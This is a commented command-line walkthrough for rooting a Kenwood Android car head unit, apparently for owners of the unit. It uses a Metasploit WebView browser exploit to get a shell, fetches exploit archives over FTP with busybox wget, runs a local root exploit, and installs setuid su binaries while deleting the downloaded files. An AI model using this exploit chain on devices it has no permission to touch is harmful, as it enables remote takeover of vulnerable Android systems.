##Anything with a "#" Is just a notation. Anything without it needs to be entered into the console.
#First load up the Metasploit Exploit
use exploit/android/browser/webview_addjavascriptinterface
#Set website path name
set URIPATH kroot
#Start the Exploit!
exploit
#On your deck visit the website in this format <IP Address> : <port number> / <URIPATH>.
#Below is only an EXAMPLE
192.168.1.10:8080/kroot
# Wait for the Metasploit console to return a session number.
# This might take a few tries, so if it seems like your browser just hangs, turn off your deck and visit the website again.
#Once session is spawned do the command session -i <session number> #
sessions -i 1
#setup environment variable for Android/linux
export PATH=/system/bin:/system/xbin:/ramdisk:$PATH
#change dir to /sdcard
cd /sdcard
#############################################################################
# From this point forward you will see several commands separated by the pipe symbol: |
# This make life easy. It also helps keep the time window down before Kenwood system lock kicks in
#Feel free to copy those chunks and paste them into Metasploit.
###############################################################################
#get exploit to the deck
#Note, the FTP or HTTP MUST be an ip address and not a host name.
#Alternatively you can download the files directly to the unit and copy them over to sdcard manually.
#Sample command for the browser download method would be as follows:
#busybox cp /sdcard/download/kroot.tar /sdcard/kroot.tar
busybox wget ftp://<ftp_IP_Address>/kroot_temp.tar | busybox wget ftp://<IP Address>/cds_kroot.tar
#Extract Root
busybox tar -x -f kroot_temp.tar -C /ramdisk
#chmod the root for exec
chmod 775 /ramdisk/device.db | chmod 775 /ramdisk/kroot
#Change dir to ramdisk
cd /ramdisk
#Execute out exploit in ramdisk
kroot
#Check to see if we are root
busybox whoami
#####################################################
## The result should return 0 - root. If not, something went wrong
#####################################################
#change dir back to sdcard
cd /sdcard
#mount root fs and /system
mount -o rw,remount /system | mount -o rw,remount /
# extract our perm root to where it needs to go
busybox tar -x -f cds_kwroot.tar -C /
#chmod /system/app and /data/app
chmod 644 /system/app/eu.chainfire.supersu-1.apk | chmod 644 /data/app/com.speedsoftware.sqleditor-1.apk
#chmod binaries
chmod 6755 /system/xbin/su | chmod 6755 /system/xbin/sqlite3 | chmod 6755 /system/xbin/setpropex | chmod 6755 /system.bin/cds_kroot
chmod 6755 /system/bin/setpropex
#Enable non market apps for the DNN
sqlite3 /data/data/com.android.providers.settings/databases/settings.db "UPDATE secure SET value=1 WHERE name='install_non_market_apps';"
#clear dalvik cache, and remove our source files. /Ramdisk will be taken care of by recovery.
rm /data/dalvik-cache/* | rm /sdcard/cds_kroot.tar | rm /sdcard/kroot_temp.tar
#reboot the unit
#unit will hard reboot five times then launch into recovery and rebuild dalvik.
reboot
############################################################
## THE UNIT WILL DISPLAY AN ERROR during the five reboots.
## Do **NOT** do anything and just let it reboot five times. (six if you count the first reboot)
## Once the last reboot is done, "System Rebuilding" will kick in.
#############################################################
#You now have root and non market apps
